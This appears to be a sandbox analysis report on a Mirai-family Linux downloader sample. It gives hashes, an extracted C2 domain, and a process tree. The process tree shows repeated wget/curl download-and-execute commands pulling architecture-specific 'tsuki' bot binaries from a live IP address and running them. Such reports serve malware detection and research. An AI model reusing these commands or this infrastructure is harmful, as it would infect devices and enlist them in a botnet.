Analysis
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max time kernel
48s -
max time network
50s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
22-07-2024 00:17
Static task
static1
Behavioral task
behavioral1
Sample
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
Resource
debian9-mipsbe-20240418-en
General
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Target
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
-
Size
2KB
-
MD5
0cfdd05ea2bb11d74b3ce3b95fc29421
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SHA1
665cc6ba414b286da9c1a41a618d843275fa53cc
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SHA256
95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae
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SHA512
8a0baf4405ad2462a4a735d4a2a84d8d0b9ef10b72261716e0afb985f280d93aac4f5e8e40a6da0d330264813a077f3a4216df862821022d2f9c3ea90147c120
Malware Config
Extracted
mirai
MIRAI
whois.hopto.org
Extracted
mirai
MIRAI
whois.hopto.org
Extracted
mirai
MIRAI
whois.hopto.org
Signatures
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Executes dropped EXE 13 IoCs
Processes:
tsukitsukitsukitsukitsukitsukitsukitsukitsukitsukitsukitsukitsukiioc pid process /tmp/tsuki 736 tsuki /tmp/tsuki 742 tsuki /tmp/tsuki 764 tsuki /tmp/tsuki 798 tsuki /tmp/tsuki 804 tsuki /tmp/tsuki 809 tsuki /tmp/tsuki 847 tsuki /tmp/tsuki 853 tsuki /tmp/tsuki 859 tsuki /tmp/tsuki 865 tsuki /tmp/tsuki 870 tsuki /tmp/tsuki 878 tsuki /tmp/tsuki 884 tsuki -
Reads runtime system information 13 IoCs
Reads data from /proc virtual filesystem.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 22 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlcurlcurlwget95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435caewgetwgetcurlcurlcurlcurlwgetcurlcurlwgetcurlwgetcurlcurlwgetwgetcurldescription ioc process File opened for modification /tmp/tsuki.x86 curl File opened for modification /tmp/tsuki.i686 curl File opened for modification /tmp/tsuki.arc curl File opened for modification /tmp/tsuki.x86 wget File opened for modification /tmp/tsuki 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae File opened for modification /tmp/tsuki.mips wget File opened for modification /tmp/tsuki.mpsl wget File opened for modification /tmp/tsuki.arm5 curl File opened for modification /tmp/tsuki.sh4 curl File opened for modification /tmp/tsuki.mips curl File opened for modification /tmp/tsuki.arm7 curl File opened for modification /tmp/tsuki.ppc wget File opened for modification /tmp/tsuki.ppc curl File opened for modification /tmp/tsuki.m68k curl File opened for modification /tmp/tsuki.sh4 wget File opened for modification /tmp/tsuki.mpsl curl File opened for modification /tmp/tsuki.arm wget File opened for modification /tmp/tsuki.arm curl File opened for modification /tmp/tsuki.arm6 curl File opened for modification /tmp/tsuki.arm7 wget File opened for modification /tmp/tsuki.m68k wget File opened for modification /tmp/tsuki.spc curl
Processes
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/tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae/tmp/95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae1⤵
- Writes file to tmp directory
PID:705 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.x862⤵
- Writes file to tmp directory
PID:709 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:730 -
/bin/catcat tsuki.x862⤵PID:734
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.x862⤵PID:735
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:736 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.mips2⤵
- Writes file to tmp directory
PID:738 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.mips2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:739 -
/bin/catcat tsuki.mips2⤵PID:740
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.mips tsuki.x862⤵PID:741
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:742 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.mpsl2⤵
- Writes file to tmp directory
PID:744 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:745 -
/bin/catcat tsuki.mpsl2⤵PID:762
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.mips tsuki.mpsl tsuki.x862⤵PID:763
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:764 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.arm2⤵
- Writes file to tmp directory
PID:766 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:778 -
/bin/catcat tsuki.arm2⤵PID:796
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.mips tsuki.mpsl tsuki.x862⤵PID:797
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:798 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.arm52⤵PID:800
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/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:801 -
/bin/catcat tsuki.arm52⤵PID:802
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.arm5 tsuki.mips tsuki.mpsl tsuki.x862⤵PID:803
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:804 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.arm62⤵PID:805
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/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806 -
/bin/catcat tsuki.arm62⤵PID:807
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae systemd-private-c985af6e81ad42d18f9a4e3b7f1a966c-systemd-timedated.service-t4QlXg tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.mips tsuki.mpsl tsuki.x862⤵PID:808
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:809 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.arm72⤵
- Writes file to tmp directory
PID:810 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:844 -
/bin/catcat tsuki.arm72⤵PID:845
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.x862⤵PID:846
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:847 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.ppc2⤵
- Writes file to tmp directory
PID:849 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:850 -
/bin/catcat tsuki.ppc2⤵PID:851
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x862⤵PID:852
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:853 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.m68k2⤵
- Writes file to tmp directory
PID:855 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:856 -
/bin/catcat tsuki.m68k2⤵PID:857
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.x862⤵PID:858
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:859 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.spc2⤵PID:861
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/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:862 -
/bin/catcat tsuki.spc2⤵PID:863
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x862⤵PID:864
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:865 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.i6862⤵PID:866
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/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:867 -
/bin/catcat tsuki.i6862⤵PID:868
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.spc tsuki.x862⤵PID:869
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:870 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.sh42⤵
- Writes file to tmp directory
PID:871 -
/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:875 -
/bin/catcat tsuki.sh42⤵PID:876
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x862⤵PID:877
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:878 -
/usr/bin/wgetwget http://176.123.2.219/bins/tsuki.arc2⤵PID:880
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/usr/bin/curlcurl -O http://176.123.2.219/bins/tsuki.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:881 -
/bin/catcat tsuki.arc2⤵PID:882
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/bin/chmodchmod +x 95af6dd9da15577bfd171daebb2f404a52df04d38a4bcad538ef4b79a6435cae tsuki tsuki.arc tsuki.arm tsuki.arm5 tsuki.arm6 tsuki.arm7 tsuki.i686 tsuki.m68k tsuki.mips tsuki.mpsl tsuki.ppc tsuki.sh4 tsuki.spc tsuki.x862⤵PID:883
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/tmp/tsuki./tsuki payload2⤵
- Executes dropped EXE
PID:884
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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/tmp/tsukiFilesize
98KB
MD56cf78b3572c325d809ad4677c2ebd6a2
SHA1be2f27c2b001f981344e52333568cb0dc7ffe7ad
SHA256c6603610d98124953b9b6e4355611cb0588507a8a003aff36771937b43e2acd0
SHA512bcb15e53b55134cefcf8de2c0fd28fee6154dc63bc053007f581cec3bc024052b663eed5ce2f3eea3c3b7749d2f4e7a5b0ed013c489bc1c28755d82bebea8a24
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/tmp/tsukiFilesize
99KB
MD52cf4b7e9a6fa11dbff627fc7aeee3f97
SHA10cbc6d981a4d7ce2650ebe9aba5ec89a8377fefb
SHA256eb2c0d50d32ebf8d18e82dd780c2432f4010e5dd8f0cc84c04a10f03f8399a6d
SHA51218272662786616a679ed85164c4fa7fe2a865f8c4eedde57403f8fd197c34b356ff3a62155ea9069f2e1f172c4545c29db4c3144c9932f90bdea5a4f14141f57
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/tmp/tsukiFilesize
90KB
MD53cd8418ac8f414def6727fe141d328b9
SHA1dc61b74e9e08ff3208ee96a6c94f8247e6196b99
SHA256cbe3077abc42c9e725ee561b8e369c9e5b3819d762d8fa9889b27c1e10dfb8b3
SHA51298d72d05b5b65fac98ed3b448ebf73786040da5aebbe56c060781f78638e75e62ad8801618874c4c17c13cd59bab93f58a31b565a350ac118257d2a0a21409b9
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/tmp/tsukiFilesize
213B
MD5eeed291445ee3e6bac53540dfd6cd91c
SHA1afc1907c25cf19a1ecf3e83fcd1f7cc72d085f41
SHA25643953e23b49d467cd6b2e40603c2465769cd1620706ef52fecc71777f9964f78
SHA512ee610ac06ef742dbf5b616c72b30a32b64a2873272cbf297367de20563bf405b183842fb5e2012f29d5ee11e6ee10e97a90ec915ffb659f22439f7c1ca21d283
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/tmp/tsukiFilesize
164KB
MD5adf30c84e4d1a741bb51593fa750d624
SHA1ca52225d16c403e9e6ab662e8dab63496281945d
SHA25696de1caeeddeba6420add3efbba3e360a13b9956a32be4ee1d4464129154e806
SHA5129ce9154a018aa53c49403c1919cb223f066821a22a9692cbb1defd185098842d8ded4f0a3f17cd6017367ea1357c41295c9f199d1148998f7283f511244db846
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/tmp/tsuki.x86Filesize
76KB
MD5f60ada8b79c2232773b9c08868c1c5fb
SHA18752a84f5cc638e0a87ffa7bb28d4a9661fcbefa
SHA2562d1fd93daf8cadaf775a8cd4e21f8b7b1759442bd260eb6dde3aee319adae117
SHA51271fe4806ac06da9a8d704bbabcc7dc7d0d7e087b420ea81923c888f0f8836b455e790899504729611e883e597a31c5eb7298c4cd5f442117cc799f98102eb9e8